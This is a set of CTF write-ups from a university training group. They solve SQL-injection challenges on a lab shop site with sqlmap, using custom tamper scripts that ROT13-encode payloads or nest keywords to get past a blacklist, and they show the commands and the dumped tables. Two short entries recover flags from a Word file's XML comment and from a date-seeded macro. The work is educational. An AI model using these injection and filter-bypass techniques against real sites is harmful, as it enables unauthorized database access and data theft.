CTF Challenge WriteupsCTF feladat megoldások

CrySyS Novice Group - Sorting Secure Fruits writeup (3)

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given as homework in the CrySyS Novice Group. It was under the “Shop of Quality Lime (and other fruits)” group and was worth 150 points (third level).

Description: Yeah, we were wrong when we thought that encryption would be a viable solution to our problem.

The solution we came up with this time is based on a proven technology: blacklisting.

It is as simple as powerful. We only had to add one line to implement it:

$order = preg_replace('/CASE|WHEN|THEN|ELSE|END|SELECT/i', '', $order);

(Let's say that our vulnerable site's address was again http://someaddress.com)

This task is the third level after the second Sorting Encrypted Fruits. If you haven't solved the first or the second level take a look at them before reading on (the first level is Sorting Fruits).

Now that we solved the first and the second level we know the name of the databases and its tables for sure. This time instead of cryptography they used blacklisting. Blacklisting is a very risky choice, it is extremely hard to cover every keyword that could cause trouble and even than there are ways to bypass these restrictions.

For example, we can't use 'SELECT', however if we inject the word SELECT right after the first letter, so it becomes: SSELECTELECT, when the blacklist is applied it will become SELECT again since it will delete the injected word and leaves the original one behind.

That's what we are going to do. I've written another tamper script that would solve this specific problem using the technique written above (You can download it here: blacklist.py):

#!/usr/bin/env python
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations
    suitable for replacement (e.g. .replace("SELECT", "")) filters
    """

    keywords = ("CASE", "SELECT", "WHEN", "ELSE", "THEN", "END")
    retVal = payload

    if payload:
        for keyword in keywords:
            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:1], keyword, keyword[1:]), retVal)

    return retVal

With this tamper script we can run sqlmap with the known test database secrets table:

python sqlmap.py -u "http://someaddress.com/?order=id"  
--technique="B" --tamper=blacklist -D test -T secrets --dump

And we got our flag:

+----------------------------------+
| secret                           |
+----------------------------------+
| BLACKLIST_TECHNOLOGY_FOR_THE_WIN |
+----------------------------------+

CrySyS Novice Group - Sorting Encrypted Fruits writeup (2)

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given as homework in the CrySyS Novice Group. It was under the “Shop of Quality Lime (and other fruits)” group and was worth 100 points (second level).

Description: Alright, I think we got it right this time. Our new protection is based on an encryption technique that is easy to implement, and believed to be unbreakable (at least by someone who've never heard about cryptography before). This encryption layer should be enough to protect us from normal attackers.

This task is the next level after the first Sorting Fruits. If you haven't solved that, take a look at that before reading on.

So, everything is pretty similar, except that now if you click on any category the order variable is not the same. For example if you click on 'price' you will see this link in the address bar:

(Let's say that our vulnerable site's address was again http://someaddress.com)

http://someaddress.com/?order=cevpr

Adding a apostrophe to the value of the order variable, we get the same warning message again. So everything is the same except the input is somehow obfuscated.

It is not too hard to realize that the cryptography they used is a special case of the Caesar cipher - ROT13 - which replaces each letter with the letter 13 letters after it in the alphabet. Because there are 26 letters in the basic Latin alphabet ROT13 is its own inverse as well. So what we need to do is to apply the ROT13 algorithm to our payload so when the server applies it again it will be the correct injection and not some gibberish.

I used sqlmap again to solve this problem. Everything is very similar to the first version of this problem, except that we need to use a tamper script to solve this one. The tamper script is written in python and it enables us to manipulate/obfuscate the payload before it is sent to the server.

To use the script easily with sqlmap we need to put it in the tamper directory, which is located next to the sqlmap.py file. I've written the following pretty easy tamper script that will do the job for us (I saved it with the name of rot13.py):

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    '''
    Applies rot13 to the payload.
    '''

    retVal = payload.encode('rot13')

    return retVal

Now we will run sqlmap using this tamper script (Note that we use the rot13 version of 'id' to make this work):

python sqlmap.py -u "http://someaddress.com/?order=vq"  
--tamper=rot13 --dbs --technique="B"

This gives us the same databases:

available databases [4]:  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] test

Then we list the tables in the test database.

python sqlmap.py -u "http://someaddress.com/?order=vq"  
--technique="B" --tamper=rot13 -D test --tables

We get the same tables again:

+----------+  
| products |  
| secrets  |  
+----------+

And dumping the data of the secret table we get our flag:

python sqlmap.py -u "http://someaddress.com/?order=vq"  
--technique="B" --tamper=rot13 -D test -T secrets --dump
+-----------------------------------------+
| secret                                  |
+-----------------------------------------+
| OUR_PHP_USES_ROT13_FOR_MAXIMUM_SECURITY |
+-----------------------------------------+

CrySyS Novice Group - Sorting Fruits writeup (1)

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given as homework in the CrySyS Novice Group. It was under the “Shop of Quality Lime (and other fruits)” group and was worth 50 points (first level).

Description: This is the first version of our website. We believe it is absolutely secure, but you can prove us wrong.

I've got an address (let's say it was http://someaddress.com), and on that site there was a table like this:

id name description price
1 Kiwi Green 15
2 Apple Yummy 10
3 Water Mellon Green 30
4 Potato For french fries 40
5 Ananas For pizza 5
6 Secrets are in an other table 100

In this table the items are organised by their id, if I clicked on any other category they were reordered with respect to the category I clicked. To tell the web server which order is chosen a GET request was sent where an 'order' variable was defined, for example if 'id' was chosen it looked like this:

http://someaddress.com/?order=id

So I quickly checked for the possibility of an SQL injection by adding an extra apostrophe at the end of the address like this:

http://someaddress.com/?order=id'

This caused the following warning message:

Warning: mysql_fetch_row() expects parameter 1 to be resource,  
boolean given in /app/index.php on line 23

Now I know that SQL injection might be possible since the input is clearly not handled properly. There is a hint on the site which says that Secrets are in an other table, so we need to find that table and than dump its data.

For this job I used sqlmap. To dump the names of the databases I typed in the following (the --threads argument is optional, it just makes it much faster):

python sqlmap.py -u "http://someaddress.com/?order=id"  
--dbs --technique="B" --threads 4

This gave me the usual mysql databases plus an extra one called test.

available databases [4]:  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] test

Now I needed to find out the names of the tables in the test database.

python sqlmap.py -u "http://someaddress.com/?order=id"  
--technique="B" --threads 4 -D test --tables

I got this:

+----------+  
| products |  
| secrets  |  
+----------+

And finally I dumped the data of the secret table.

python sqlmap.py -u "http://someaddress.com/?order=id"  
--technique="B" --threads 4 -D test -T secrets --dump
+-----------------------------------------+
| secret                                  |
+-----------------------------------------+
| OUR_APPLE_IS_NOT_AS_YUMMY_AS_ADVERTISED |
+-----------------------------------------+

And here it is, we got our flag.

CrySyS Sec Challenge 2014 - Hide Your Flags writeups

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given during the Security Challenge of 2014 under the “Word Processors FTW” group and was worth 80 points. The CrySys Lab at BME made the CTF possible.

Description: You should have received a document with a flag. The document is here, but where is the flag?

I downloaded the file. The document read:

I’m sending you the flag:

This file is a zipped, XML based file format (Office Open XML), so we can simply unzip it, using the ‘unzip’ command in the terminal.

unzip flag.doc

This will produce a bunch of folders, one of which called word. Opening that folder we will find some xml files, and if we take a look at the document.xml we will find the following:

<w:p w:rsidR="00C21BD3" w:rsidRDefault="00F276A0">
    <w:r>
    <w:t xml:space="preserve">I’m sending you the flag:</w:t>
    </w:r>
    <!--  f9fd7ff0c20c90277ed467b6780c7439  -->
    <w:bookmarkStart w:id="0" w:name="_GoBack"/>
    <w:bookmarkEnd w:id="0"/>
</w:p>

So the flag was truly sent to us in a form of a comment.

CrySyS Sec Challenge 2014 - Changing Flags writeup

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given during the Security Challenge of 2014 under the “Word Processors FTW” group and was worth 50 points. The CrySys Lab at BME made the CTF possible.

Description: Your friend sent you a document with some flag inside. You tried it, but it did not work. Why?

So I downloaded the file called flag.doc. When I opened the file it asked me if I want to allow macros and when I did allow it a line appeared which read:

The flag is: 5552168921F74BBF457F1B53B9CD70D9

(I had problems using Word on OSX but I was able to solve the problem in Windows)

Then I checked out the source code of the macro by enabling the developer option in word:

Private Sub Document_Open()
    Txt = "The flag is: "
    Rnd (-1)
    Randomize (CInt(Format(Now(), "mmdd")))
    For i = 1 To 16
        Txt = Txt + Hex(Round(Rnd() * 256))
    Next i
    ActiveDocument.Range.Text = Txt
End Sub

The Rnd(-1) part makes sure that it produces the same random number every time with the seed of -1 (because -1 is less than zero). The Randomize() function sets the seed and Now() returns the current date and time. So the reason why we can’t see the correct flag is obvious, the Randomize() function needs to use the date when the file was created. We can easily check the date of creation in Word and it was September 27, 2014 at 6:52 PM. We only need the month and the day since the Format function has the “mmdd” as argument. So by editing the code like this:

Private Sub Document_Open()
    Txt = "The flag is: "
    Rnd (-1)
    Randomize (CInt("0927"))
    For i = 1 To 16
        Txt = Txt + Hex(Round(Rnd() * 256))
    Next i
    ActiveDocument.Range.Text = Txt
End Sub

We get the correct flag.

Further posts:

További posztok:


CSAW'14 - 'weissman' writeup

CSAW'14 - 'saturn' writeup

CSAW'14 - 'Fluffy No More' writeup

DEF CON Quals 2014, 100lines writeup

CONFidence DS CTF - pwn200 writeup

PlaidCTF 2014 - halphow2js writeup

PlaidCTF 2014 - PolygonShifter writeup

Nuit Du Hack Quals - "Another One" writeup

Boston Key Party - R3V3 writeup

Olympic CTF - pwn300 (echof) writeup

PHDays CTF Quals - Oracle writeup

UCSB iCTF 2013 - The Uranus service